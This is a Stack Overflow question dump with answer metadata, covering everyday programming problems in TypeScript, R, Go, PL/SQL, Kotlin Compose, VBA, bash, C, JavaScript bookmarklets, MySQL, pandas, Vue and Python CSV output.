<p>The following is a simplified example that illustrates the issue (without getting into the nitty-gritty of the real code):</p>
<pre class="lang-js prettyprint-override"><code>function verifyType<T>(instance: unknown, classType:new () => T):instance is T {
if (!(instance instanceof classType)) throw(`Expecting instance of ${classType.name}`);
return true;
}
</code></pre>
<p>(<a href="https://www.typescriptlang.org/play?#code/GYVwdgxgLglg9mABANwKYCcbAJ4BVsAOqAPLgHwAUMYAzlAIaSoBci4A1mHAO5gA0iCABt6NGviLMwqbogoBKRAF4yiXPObU6jCKkQwaaxAG8AsAChEV-cDkBCKrQZN9Tnaji3ho8YVTzFKAALdB4KAAMAUQAPImhqAHNXbRdPRAASY28xCVQAOjB6AFtUAF9w+QBuCwtrRHRUKBB0JCh0EFRq81Ka8wtswwAxODgTWusIBDp26Dh0BTHLax7u-qmoRGAR5g4uXmVEaVlhuAUutEwcXIotuAETqt7+kTFEACF6dEW6gkxkeigekmThmUDmCzMSysKzq2lgEEEDQBqAh4zqVgaTRahxk70+ZzRiBWK2BdEQACNPjswJweEglHj0HkIEjAQTzBcsHg-BRKegBB90FUgA" rel="nofollow noreferrer">TypeScript Playground link</a>)</p>
<p>This function works well with most classes:</p>
<pre class="lang-js prettyprint-override"><code>class Foo {
constructor() {
}
}
const foo:unknown = new Foo();
verifyType(foo, Foo);
// OK
</code></pre>
<p>However, I get compiler errors if the class has a private constructor.</p>
<p><strong>I understand the reasons for this and it makes sense. A constructor type implies that the calling code could construct the class and a private constructor means this is not permitted.</strong></p>
<p>However, I can't find an alternative that still allows me to use <code>instanceof</code>:</p>
<pre class="lang-js prettyprint-override"><code>class Bar {
private constructor() {
}
static create() {
return new Bar();
}
}
const bar:unknown = Bar.create();
verifyType(bar, Foo);
// OK
verifyType(bar, Bar);
// Argument of type 'typeof Bar' is not assignable to parameter of type 'new () => Bar'.
// Cannot assign a 'private' constructor type to a 'public' constructor type.
</code></pre>
<h3>Trying <code>T extends typeof Object</code></h3>
<p>I read <a href="https://stackoverflow.com/q/66650790/211627">How to refer to a class with private constructor in a function with generic type parameters?</a></p>
<p>Based on the answer to that question, I thought that maybe I could use the following:</p>
<pre class="lang-js prettyprint-override"><code>function verifyType<T extends typeof Object>(instance: unknown, classType:T):instance is InstanceType<T>
</code></pre>
<p>However, this appears to throw errors because of <code>Object</code>'s many static methods:</p>
<pre class="lang-js prettyprint-override"><code>const foo = new Foo();
verifyType(foo, Foo);
// Argument of type 'typeof Foo' is not assignable to parameter of type 'ObjectConstructor'.
// Type 'typeof Foo' is missing the following properties from type 'ObjectConstructor': getPrototypeOf, getOwnPropertyDescriptor, getOwnPropertyNames, create, and 16 more.
</code></pre>
<h3>Getting exotic</h3>
<p>I tried many variations on <code>typeof Object</code> to see if I could both satisfy TypeScript and also ensure runtime correctness, including:</p>
<pre><code>function verifyType<T extends Function & Pick<typeof Object, "prototype">>(instance: unknown, classType:T):instance is InstanceType<T>
</code></pre>
<p>However, while this solved the compile-time errors, it appears to have done so by allowing types that fail at runtime, which is not acceptable:</p>
<pre><code>verifyType(bar, ()=>{});
// No compile-time errors
// Runtime Error: Function has non-object prototype 'undefined' in instanceof check
</code></pre>
<h3>Help me <code>// @ts-expect-error</code>, you're my only hope</h3>
<p>In the end, this might be too niche a use-case and I might have to accept that this edge-case won't be supported any time soon and exempt my code accordingly.</p>
<pre class="lang-js prettyprint-override"><code>// @ts-expect-error Unfortunately, TS has no type representing a generic class with a private constructor
verifyType(bar, Bar);
</code></pre>
| [
{
"answer_id": 74185794,
"author": "caTS",
"author_id": 18244921,
"author_profile": "https://Stackoverflow.com/users/18244921",
"pm_score": 1,
"selected": false,
"text": "create"
},
{
"answer_id": 74186966,
"author": "jcalz",
"author_id": 2887218,
"author_profile": "h... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185545",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/211627/"
] |
74,185,554 | <p>Im trying to do a t test between 2 variables, price of a building and the size of a building.</p>
<p>Size consists of either "large" or "small"
and Price can be any number (54,2123,325...)</p>
<p>i did this:</p>
<pre><code>data$size <- as.factor(data$size)
t.test(data$size ~ data$price, data = data)
</code></pre>
<p>But i get this error and I cant solve it:</p>
<pre><code>Error in t.test.formula(data$size ~ data$price, :
grouping factor must have exactly 2 levels
</code></pre>
<p>I am a beginner in R and would appreciate any help
<a href="https://i.stack.imgur.com/N6H38.png" rel="nofollow noreferrer">here you can see the data</a></p>
| [
{
"answer_id": 74185723,
"author": "Pedro Freitas Lopes",
"author_id": 14404907,
"author_profile": "https://Stackoverflow.com/users/14404907",
"pm_score": 3,
"selected": true,
"text": "size <- c(\"large\",\"large\",\"small\",\"small\",\"small\",\"small\")\nprice <- c(3536,2239,1982,1769,... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185554",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323692/"
] |
74,185,628 | <p>What are hard <strong>coded values</strong> and how do we use it in <strong>Dart</strong>? I need some examples with code and explanation.
Thank you, God bless you
new to <strong>flutter</strong> and <strong>dart</strong></p>
| [
{
"answer_id": 74185723,
"author": "Pedro Freitas Lopes",
"author_id": 14404907,
"author_profile": "https://Stackoverflow.com/users/14404907",
"pm_score": 3,
"selected": true,
"text": "size <- c(\"large\",\"large\",\"small\",\"small\",\"small\",\"small\")\nprice <- c(3536,2239,1982,1769,... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185628",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8901398/"
] |
74,185,651 | <p>I have a <code>flex</code> container with <code>flex-direction: column</code>:</p>
<pre><code>div {
display: flex;
flex-direction: column;
border: 5px solid black;
width: 400px;
height: 400px;
}
</code></pre>
<p>and an image inside it:</p>
<pre><code> <div>
<img src="https://mdn.github.io/css-examples/learn/images/balloons.jpg" alt="">
</div>
</code></pre>
<p>the image is scaled down to fit inside the container:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
padding: 30px;
}
div {
display: flex;
flex-direction: column;
border: 5px solid black;
width: 400px;
height: 400px;
}
img {
flex-shrink: 0;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><body>
<div>
<img src="https://mdn.github.io/css-examples/learn/images/balloons.jpg" alt="">
</div>
</body></code></pre>
</div>
</div>
</p>
<p>but with <code>flex-direction: row</code> this doesn't happen.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
padding: 30px;
}
div {
display: flex;
border: 5px solid black;
width: 400px;
height: 400px;
}
img {
flex-shrink: 0
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><body>
<div>
<img src="https://mdn.github.io/css-examples/learn/images/balloons.jpg" alt="">
</div>
</body></code></pre>
</div>
</div>
</p>
<p>Why does <code>flex-direction: column</code> auto fit the image in the container?</p>
| [
{
"answer_id": 74185723,
"author": "Pedro Freitas Lopes",
"author_id": 14404907,
"author_profile": "https://Stackoverflow.com/users/14404907",
"pm_score": 3,
"selected": true,
"text": "size <- c(\"large\",\"large\",\"small\",\"small\",\"small\",\"small\")\nprice <- c(3536,2239,1982,1769,... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185651",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20295759/"
] |
74,185,665 | <p>I am trying to make an HTTP/HTTPS proxy with Golang like this <a href="https://medium.com/@nimit95/a-simple-http-https-proxy-in-node-js-4eb0444f38fc" rel="nofollow noreferrer">link</a>.
This is all my code :
First get command from browser. If it's CONNECT mean HTTPS and make simple TCP socket and let browser continue it. then pipe each connection together.</p>
<pre><code>package main
import (
"bufio"
"fmt"
"net"
"strings"
)
func main() {
fmt.Println("Start server...")
ln, _ := net.Listen("tcp", ":8000")
conn, _ := ln.Accept()
handleSocket(conn)
}
func handleSocket(client_to_proxy net.Conn) {
message, e := bufio.NewReader(client_to_proxy).ReadString('\n')
message = strings.ReplaceAll(message, "\r\n", "")
if e != nil {
fmt.Println("ERROR1 ", e)
return
}
splited := strings.Split(message, " ")
host := strings.Split(splited[1], ":")
if splited[0] == "CONNECT" {
proxy_to_server, e := net.Dial("tcp", splited[1])
if e != nil {
fmt.Println("ERROR2 ", e)
return
}
lenn, e := client_to_proxy.Write([]byte("HTTP/1.1 200 OK\r\n\r\n"))
if e != nil {
fmt.Println("ERROR8 ", e)
return
}
fmt.Println(lenn)
readAll(client_to_proxy, proxy_to_server)
} else if splited[0] == "GET" {
remote_conn, e := net.Dial("tcp", strings.Replace(splited[1][:len(splited[1])-1], "http://", "", 2)+":80")
if e != nil {
fmt.Println("ERROR7 ", e)
return
}
_, e = remote_conn.Write([]byte("GET / " + splited[2] + "\r\n" + "Host: " + host[0] + "\r\n\r\n"))
if e != nil {
fmt.Println("ERROR6 ", e)
return
}
writeAll(client_to_proxy, remote_conn)
}
}
func writeAll(client_to_proxy net.Conn, proxy_to_server net.Conn) {
buffer := make([]byte, 32*1024)
for {
readLeng, err := proxy_to_server.Read(buffer)
if err != nil {
fmt.Println("ERROR9 ", err)
return
}
if readLeng > 0 {
_, err := client_to_proxy.Write(buffer)
if err != nil {
fmt.Println("ERR4 ", err)
return
}
}
}
}
func readAll(client_to_proxy net.Conn, proxy_to_server net.Conn) {
buffer := make([]byte, 32*1024)
go writeAll(client_to_proxy, proxy_to_server)
for {
read, err := client_to_proxy.Read(buffer)
if err != nil {
return
}
if read > 0 {
_, err := proxy_to_server.Write(buffer)
if err != nil {
fmt.Println("ERR5 ", err)
return
}
}
}
}
</code></pre>
<p>It works OK with HTTP but when trying for HTTPS in Firefox, I receive this error:</p>
<blockquote>
<p>Secure Connection Failed</p>
</blockquote>
<blockquote>
<p>An error occurred during a connection to <a href="http://www.google.com" rel="nofollow noreferrer">www.google.com</a>. SSL received a record with an incorrect Message Authentication Code.</p>
</blockquote>
<blockquote>
<p>Error code: SSL_ERROR_BAD_MAC_READ</p>
</blockquote>
| [
{
"answer_id": 74185833,
"author": "Steffen Ullrich",
"author_id": 3081018,
"author_profile": "https://Stackoverflow.com/users/3081018",
"pm_score": 1,
"selected": false,
"text": "message, e := bufio.NewReader(client_to_proxy).ReadString('\\n')\n"
},
{
"answer_id": 74191782,
... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185665",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13954958/"
] |
74,185,729 | <p>How I could add employees each year under 'Acquire since YYYY' in their year I find a way for a week and still don't know how it's work
This is my statement</p>
<pre class="lang-sql prettyprint-override"><code>DECLARE
CURSOR c_year IS SELECT EXTRACT (YEAR FROM hire_date) YEAR, COUNT(*) PERSON
FROM employees
GROUP BY EXTRACT (YEAR FROM hire_date)
ORDER BY 1 ASC;
CURSOR c_emp (thisyear NUMBER) IS SELECT employee_id ID, first_name, last_name , hire_date
FROM employees
WHERE EXTRACT(YEAR FROM hire_date) = thisyear
ORDER BY 1 ASC;
BEGIN
FOR e_year IN c_year LOOP
DBMS_OUTPUT.PUT_LINE('Acquire since '|| e_year.YEAR || ' ('||e_year.PERSON || ' persons) ==========');
FOR e_emp IN c_emp(8) LOOP
DBMS_OUTPUT.PUT_LINE('ID: '||e_emp.ID||' '||e_emp.first_name||' '||e_emp.last_name);
END LOOP;
END LOOP;
END;
</code></pre>
<p>And This is result</p>
<pre><code>Acquire since 2001 (1 persons) ==========
Acquire since 2002 (7 persons) ==========
Acquire since 2003 (6 persons) ==========
Acquire since 2004 (10 persons) ==========
Acquire since 2005 (29 persons) ==========
Acquire since 2006 (24 persons) ==========
Acquire since 2007 (19 persons) ==========
Acquire since 2008 (11 persons) ==========
</code></pre>
<p>But I want employee's detail under each line by their year
what should I do</p>
| [
{
"answer_id": 74185888,
"author": "MT0",
"author_id": 1509264,
"author_profile": "https://Stackoverflow.com/users/1509264",
"pm_score": 2,
"selected": true,
"text": "e_Year.YEAR"
},
{
"answer_id": 74189989,
"author": "Wernfried Domscheit",
"author_id": 3027266,
"auth... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185729",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20324473/"
] |
74,185,759 | <p>I have a <code>MutableStateFlow<List<AttendanceState>></code>,</p>
<pre><code>var attendanceStates = MutableStateFlow<List<AttendanceState>>(arrayListOf())
private set
</code></pre>
<p>My AttendanceState data class.</p>
<pre><code>data class AttendanceState (
var memberId: Int,
var memberName: String = "",
var isPresent: Boolean = false,
var leaveApplied: Boolean = false
)
</code></pre>
<p>The list is rendered by a <code>LazyColumn</code></p>
<p>The <code>LazyColumn</code> contains <code>Checkboxes</code>.
If i update the checkbox, the event is propagated to the <code>ViewModel</code> and from there I'm changing the value in the list</p>
<pre><code>attendanceStates.value[event.index].copy(leaveApplied = event.hasApplied)
attendanceStates.value = attendanceStates.value.toList()
</code></pre>
<p>But this is not updating the <code>LazyColumn</code>.</p>
<p>Snippet of my implementation:</p>
<pre><code>val attendances by viewModel.attendanceStates.collectAsState()
LazyColumn(modifier = Modifier.fillMaxWidth().padding(top = 24.dp)) {
Log.e("Attendance","Lazy Column Recomposition")
items(attendances.size) { index ->
AttendanceCheckBox(attendanceState = attendances[index], modifier = Modifier.fillMaxWidth().padding(horizontal = 16.dp), onAttendanceStatusChangeListener = { viewModel.onEvent(AttendanceEvent.IsPresentStatusChanged(index, it)) }, onLeaveAppliedStatusChangeListener = { viewModel.onEvent(AttendanceEvent.IsLeaveAppliedStatusChanged(index, it)) })
}
}
</code></pre>
<p><code>Re-composition</code> is not happening.</p>
| [
{
"answer_id": 74187899,
"author": "z.y",
"author_id": 19023745,
"author_profile": "https://Stackoverflow.com/users/19023745",
"pm_score": 3,
"selected": true,
"text": "SnapshotStateList"
},
{
"answer_id": 74188316,
"author": "adwardwo1f",
"author_id": 15408905,
"auth... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185759",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10151907/"
] |
74,185,779 | <p>I am a newbie on Excel macro. I am learning using Macro to create a pivot table for a project. Eventually I will use Power Automate to make it fully automatically run every day.</p>
<p>First I tried to use Record Macro in Excel to figure out how to create a Pivot table and I got code below.</p>
<pre><code>Range("A1:W37").Select
Application.CutCopyMode = False
Sheets.Add
ActiveWorkbook.PivotCaches.Create(SourceType:=xlDatabase, SourceData:= _
"Sheet1!R1C1:R37C23", Version:=8).CreatePivotTable TableDestination:= _
"Sheet19!R3C1", TableName:="PivotTable2", DefaultVersion:=8
Sheets("Sheet19").Select
Cells(3, 1).Select
</code></pre>
<p>The problem I couldn't figure out is how to make sure I can select all cells in the worksheet and store them into a variable. Then I can put that variable after SourceData:= _ (which means this variable will replace the code "Sheet1!R1C1:R37C23"). I search on the Internet that I can select all cells with data by following code:</p>
<pre><code>Range("A1").Select
Range(Selection, Selection.End(xlToRight)).Select
Range(Selection, Selection.End(xlDown)).Select
</code></pre>
<p>Tried to google it but no luck after few hours. Is there any suggestion?</p>
| [
{
"answer_id": 74187899,
"author": "z.y",
"author_id": 19023745,
"author_profile": "https://Stackoverflow.com/users/19023745",
"pm_score": 3,
"selected": true,
"text": "SnapshotStateList"
},
{
"answer_id": 74188316,
"author": "adwardwo1f",
"author_id": 15408905,
"auth... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185779",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20324389/"
] |
74,185,836 | <p>I have a nodejs lambda function that needs to search into an opensearch DB. I want to use the aws-sdk-v3. I found the doc here for OpenSearchClient:</p>
<p><a href="https://github.com/aws/aws-sdk-js-v3/tree/246d6534c53dcf9bd2eb6a620cb5b6c04b27451a/clients/client-opensearch" rel="nofollow noreferrer">https://github.com/aws/aws-sdk-js-v3/tree/246d6534c53dcf9bd2eb6a620cb5b6c04b27451a/clients/client-opensearch</a></p>
<p>But as you see, there is almost nothing explained there. For example, I have to create a AcceptInboundConnectionCommand with "params", but there are no explanations what are the properties required for this "params" object.</p>
<p>When I search "AcceptInboundConnectionCommand" on google, there is only 3 results... Is this SDK usable ? Or is still a prototype or something ?</p>
| [
{
"answer_id": 74187899,
"author": "z.y",
"author_id": 19023745,
"author_profile": "https://Stackoverflow.com/users/19023745",
"pm_score": 3,
"selected": true,
"text": "SnapshotStateList"
},
{
"answer_id": 74188316,
"author": "adwardwo1f",
"author_id": 15408905,
"auth... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185836",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20324529/"
] |
74,185,837 | <p>I have:</p>
<pre><code>TEXT='1,2
a,b,c
XX,YY'
</code></pre>
<p>I need the output like this:</p>
<pre><code>OUT='1,a,XX
1,a,YY
1,b,XX
1,b,YY
1,c,XX
1,c,YY
2,a,XX
2,a,YY
2,b,XX
2,b,YY
2,c,XX
2,c,YY'
</code></pre>
<p>Should be some recursion, because the length of lines and lines count is unknown. Explanation would be great, but just the code is also OK.</p>
<p>What I have done so far (trying to use arrays):</p>
<pre><code>TEXT='1,2
a,b,c
XX,YY'
declare -a lines
COUNT=0
while read LINE; do
lines[$COUNT]=$LINE
COUNT=$((COUNT+1))
done <<<"$TEXT"
declare -A A
K1_MAX=0
K2_MAX=0
for key in "${!lines[@]}"; do
IFS=',' read -ra symbols <<<"${lines[$key]}"
for key2 in "${!symbols[@]}"; do
if [[ $key -gt $K1_MAX ]]; then K1_MAX=$key; fi
if [[ $key2 -gt $K2_MAX ]]; then K2_MAX=$key2; fi
A[$key $key2]=${symbols[$key2]}
done
done
for key in "${!A[@]}"; do
echo $key: "${A[$key]}"
true
done | sort
</code></pre>
<p>This gives me the output:</p>
<pre><code>0 0: 1
0 1: 2
1 0: a
1 1: b
1 2: c
2 0: XX
2 1: YY
</code></pre>
<p>But still can't understand how to combine those values between themselves.</p>
| [
{
"answer_id": 74186137,
"author": "M. Nejat Aydin",
"author_id": 13809001,
"author_profile": "https://Stackoverflow.com/users/13809001",
"pm_score": 2,
"selected": false,
"text": "eval"
},
{
"answer_id": 74186309,
"author": "markp-fuso",
"author_id": 7366100,
"author... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185837",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11449119/"
] |
74,185,842 | <p>Consider <code>val</code> being a user input. I expect <code>val</code> to be between 0-65535</p>
<p>Instead of checking if <code>val</code> is not withing acceptable range before denying it, I was wondering if</p>
<p>is this :</p>
<pre><code>uint16_t count = atoi(val);
</code></pre>
<p>the same as this :</p>
<pre><code>uint16_t count = (uint16_t)atoi(val);
</code></pre>
<p>Is this an acceptable way of "securing" the user input? I do not intend to send a feedback to the user, I just want to make sure it won't explode if someone submits -123 or 999999. It does not matter if <code>count</code> equals <code>2</code> because someone submitted <code>65538</code></p>
| [
{
"answer_id": 74186137,
"author": "M. Nejat Aydin",
"author_id": 13809001,
"author_profile": "https://Stackoverflow.com/users/13809001",
"pm_score": 2,
"selected": false,
"text": "eval"
},
{
"answer_id": 74186309,
"author": "markp-fuso",
"author_id": 7366100,
"author... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185842",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7977859/"
] |
74,185,850 | <p>I need to run javascript code on a webpage. This can be done using google chorme console by inspecting the page but I need to repeat this operation many time so I'm searching a more easy way. So I'm using <a href="https://mrcoles.com/bookmarklet/" rel="nofollow noreferrer">this</a> to create a bookmark, I can put it on the preferred page bar and execute javascript code in just a click. I need the code executed via the bookmark to call up a website containing the actual code to run. The code used to create the bookmark is this</p>
<pre class="lang-js prettyprint-override"><code>javascript:(function(){
varaddScript=function(filename){
vare=document.createElement('script');
e.type='text/javascript';
e.src=filename;
if(typeof(e)!=='undefined'){
document.getElementsByTagName('head')[0].appendChild(e);
}
};
// the actual page where the code is hosted
addScript('https://sopralapanca.github.io/')
})()
</code></pre>
<p>As you can see I'm using github pages to store the actual code, but how to setup correctly the github webpage to execute the code? For the moment I want to just print something on the console with the <code>console.log()</code> method but every time I execute the bookmark I obtain the error</p>
<pre><code>Cross-Origin Read Blocking (CORB) blocked cross-origin response https://sopralapanca.github.io/ with MIME type text/html. See https://www.chromestatus.com/feature/5629709824032768 for more details.
</code></pre>
<p>The html page on github is just this</p>
<pre><code><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Yukon Autocomplete</title>
</head>
<body>
<pre style="word-wrap: break-word; white-space: pre-wrap;">
console.log('ciao come stai');
</pre>
</body>
</html>
</code></pre>
<p>EDIT
after the answer of Ronnie Royston I'm able to execute basic javascript code from remote. Now the code that I bookmark is this</p>
<pre><code>javascript:(function(){
async function myFunction(){
var remoteCode = await getHTML('https://sopralapanca.github.io/');
var code = stripHtml(remoteCode);
eval(code);
}
myFunction();
function stripHtml(html){
let tmp = document.createElement("DIV");
tmp.innerHTML = html;
return tmp.textContent || tmp.innerText || "";
}
function getHTML(url) {
return new Promise(function (resolve, reject) {
var xhr = new XMLHttpRequest();
xhr.open('get', url, true);
xhr.responseType = 'document';
xhr.onload = function () {
var status = xhr.status;
if (status == 200) {
resolve(xhr.response.documentElement.innerHTML);
} else {
reject(status);
}
};
xhr.send();
});
}
})();
</code></pre>
<p>Now the problem is when I need to execute jQuery code like this one</p>
<pre><code>$('input[name=nomoredupes]').trigger('click');
</code></pre>
<p>I get the error</p>
<pre><code>VM48:1651 Uncaught (in promise) ReferenceError: $ is not defined
at eval (eval at myFunction (show:1:163), <anonymous>:1651:1)
at myFunction (<anonymous>:1:163)
</code></pre>
<p>how to solve?</p>
| [
{
"answer_id": 74185867,
"author": "Quentin",
"author_id": 19068,
"author_profile": "https://Stackoverflow.com/users/19068",
"pm_score": 0,
"selected": false,
"text": "src"
},
{
"answer_id": 74185957,
"author": "Ronnie Royston",
"author_id": 4797603,
"author_profile":... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185850",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10181236/"
] |
74,185,855 | <p>I'm trying to sort a MySQL table data based on a column values.</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>id</th>
<th>record_number</th>
<th>created_at</th>
<th>updated_at</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ent/4/2022</td>
<td>2022-10-24 20:34:25</td>
<td>2022-10-24 20:34:25</td>
</tr>
<tr>
<td>3</td>
<td>ent/6/2021</td>
<td>2022-10-24 20:35:03</td>
<td>2022-10-24 20:35:03</td>
</tr>
</tbody>
</table>
</div>
<p>The column is named <code>record_number</code> and the values of column follow the format <code>ent/4/2022</code>, where <code>ent</code> is common in all entries and <code>4</code> is the record number and <code>2022</code> is the year the record was created.</p>
<p>How can I sort the records in a MySQL query such that an entry like <code>ent/6/2021</code> shows up before <code>ent/4/2022</code> when displaying the sorting results in ascending order?</p>
<p>The sorting result in descending order should look something like this.</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>id</th>
<th>record_number</th>
<th>created_at</th>
<th>updated_at</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ent/4/2022</td>
<td>2022-10-24 20:34:25</td>
<td>2022-10-24 20:34:25</td>
</tr>
<tr>
<td>3</td>
<td>ent/6/2021</td>
<td>2022-10-24 20:35:03</td>
<td>2022-10-24 20:35:03</td>
</tr>
</tbody>
</table>
</div>
<p>This implies the record <code>id</code> = <code>1</code> is newer compared to record with <code>id</code> = <code>3</code> because it was created in 2021 and the latter in 2022.</p>
| [
{
"answer_id": 74186570,
"author": "Ergest Basha",
"author_id": 16461952,
"author_profile": "https://Stackoverflow.com/users/16461952",
"pm_score": 0,
"selected": false,
"text": "select * \nfrom test\norder by SUBSTRING_INDEX(SUBSTRING_INDEX(record_number,'/',-2),'/',+1) *1 asc,\n ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185855",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8347015/"
] |
74,185,864 | <p>I have several columns named the same in a data frame. How can I rename the below <code>normal</code> and <code>KIRC</code> to <code>normal_1</code>, <code>normal_2</code>, <code>KIRC_1</code>, <code>KIRC_2</code>?</p>
<p>import pandas as pd</p>
<pre><code>gene_exp.columns = gene_exp.iloc[-1]
gene_exp = gene_exp.iloc[:-1]
gene_exp
# Append "_[number]"
c = pd.Series(gene_exp.columns)
for dup in gene_exp.columns[gene_exp.columns.duplicated(keep=False)]:
c[df.columns.get_loc(dup)] = ([dup + '_' + str(d_idx)
if d_idx != 0
else dup
for d_idx in range(gene_exp.columns.get_loc(dup).sum())]
)
gene_exp
</code></pre>
<p>Traceback:</p>
<pre><code>---------------------------------------------------------------------------
KeyError Traceback (most recent call last)
/opt/conda/lib/python3.7/site-packages/pandas/core/indexes/base.py in get_loc(self, key, method, tolerance)
3360 try:
-> 3361 return self._engine.get_loc(casted_key)
3362 except KeyError as err:
/opt/conda/lib/python3.7/site-packages/pandas/_libs/index.pyx in pandas._libs.index.IndexEngine.get_loc()
/opt/conda/lib/python3.7/site-packages/pandas/_libs/index.pyx in pandas._libs.index.IndexEngine.get_loc()
pandas/_libs/hashtable_class_helper.pxi in pandas._libs.hashtable.PyObjectHashTable.get_item()
pandas/_libs/hashtable_class_helper.pxi in pandas._libs.hashtable.PyObjectHashTable.get_item()
KeyError: 'KIRC'
The above exception was the direct cause of the following exception:
KeyError Traceback (most recent call last)
/tmp/ipykernel_27/3403075751.py in <module>
5 if d_idx != 0
6 else dup
----> 7 for d_idx in range(gene_exp.columns.get_loc(dup).sum())]
8 )
9 gene_exp
/opt/conda/lib/python3.7/site-packages/pandas/core/indexes/base.py in get_loc(self, key, method, tolerance)
3361 return self._engine.get_loc(casted_key)
3362 except KeyError as err:
-> 3363 raise KeyError(key) from err
3364
3365 if is_scalar(key) and isna(key) and not self.hasnans:
KeyError: 'KIRC'
</code></pre>
<p>Sample data</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th></th>
<th>Gene</th>
<th>NAME</th>
<th>KIRC</th>
<th>normal</th>
<th>normal</th>
<th>KIRC</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>ABC</td>
<td>DEF</td>
<td>GHI</td>
<td>JKL</td>
<td>MNO</td>
<td>PQR</td>
</tr>
<tr>
<td>1</td>
<td>STU</td>
<td>VWX</td>
<td>YZ</td>
<td>ABC</td>
<td>DEF</td>
<td>GHI</td>
</tr>
</tbody>
</table>
</div>
<p>Desired output:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th></th>
<th>Gene</th>
<th>NAME</th>
<th>KIRC_1</th>
<th>normal_1</th>
<th>normal_2</th>
<th>KIRC_2</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>ABC</td>
<td>DEF</td>
<td>GHI</td>
<td>JKL</td>
<td>MNO</td>
<td>PQR</td>
</tr>
<tr>
<td>1</td>
<td>STU</td>
<td>VWX</td>
<td>YZ</td>
<td>ABC</td>
<td>DEF</td>
<td>GHI</td>
</tr>
</tbody>
</table>
</div> | [
{
"answer_id": 74186570,
"author": "Ergest Basha",
"author_id": 16461952,
"author_profile": "https://Stackoverflow.com/users/16461952",
"pm_score": 0,
"selected": false,
"text": "select * \nfrom test\norder by SUBSTRING_INDEX(SUBSTRING_INDEX(record_number,'/',-2),'/',+1) *1 asc,\n ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185864",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20076555/"
] |
74,185,879 | <p>I have the following component with a prop called objects</p>
<pre><code><Table :objects="orders"/>
</code></pre>
<p>And in <code>mounted()</code> I have an axios.get() that fetches data from Directus CMS that looks like this.</p>
<pre><code>this.orders = await this.axios.get('url')
.then(response => {
return response.data.data;
});
</code></pre>
<p>I get an error in my table component saying that the <code>objects</code> prop is null or undefined, but in Vue Devtools it has some objects in it. I tried making the axios.get() in the <code>beforeCreated()</code> but it still doesn't work.</p>
| [
{
"answer_id": 74186043,
"author": "3tw",
"author_id": 16942902,
"author_profile": "https://Stackoverflow.com/users/16942902",
"pm_score": 1,
"selected": false,
"text": "this.orders"
},
{
"answer_id": 74228776,
"author": "Tim",
"author_id": 20317091,
"author_profile":... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185879",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7094506/"
] |
74,185,893 | <p>How can I assign a letter into a number using Rstudio
for example
if A=1 C=2 G=3 T=4 ^= 5 !=6</p>
| [
{
"answer_id": 74186148,
"author": "Ricardo Semião e Castro",
"author_id": 13048728,
"author_profile": "https://Stackoverflow.com/users/13048728",
"pm_score": 1,
"selected": false,
"text": "x = \"!^GATTACA\"\n"
},
{
"answer_id": 74186154,
"author": "Rui Barradas",
"author... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185893",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20308127/"
] |
74,185,913 | <p>I'm trying to make a csv file that contains a dictionary:</p>
<pre><code>
dict={"Steps" : [], "x" : []}
</code></pre>
<p>The problem is that the code of making csv is below and the data in "Steps" and "x" is this: Steps = {1, 2, 3, 4, 5, etc...}, x = {-1, 5, 2, 6, 73, 23, etc...}
I want to separate those numbers by commas and write down those values in the columns under the variables (Steps, x) in csv.</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Steps</th>
<th>x</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>-1</td>
</tr>
<tr>
<td>2</td>
<td>5</td>
</tr>
<tr>
<td>3</td>
<td>2</td>
</tr>
<tr>
<td>5</td>
<td>6</td>
</tr>
<tr>
<td>etc.</td>
<td>etc.</td>
</tr>
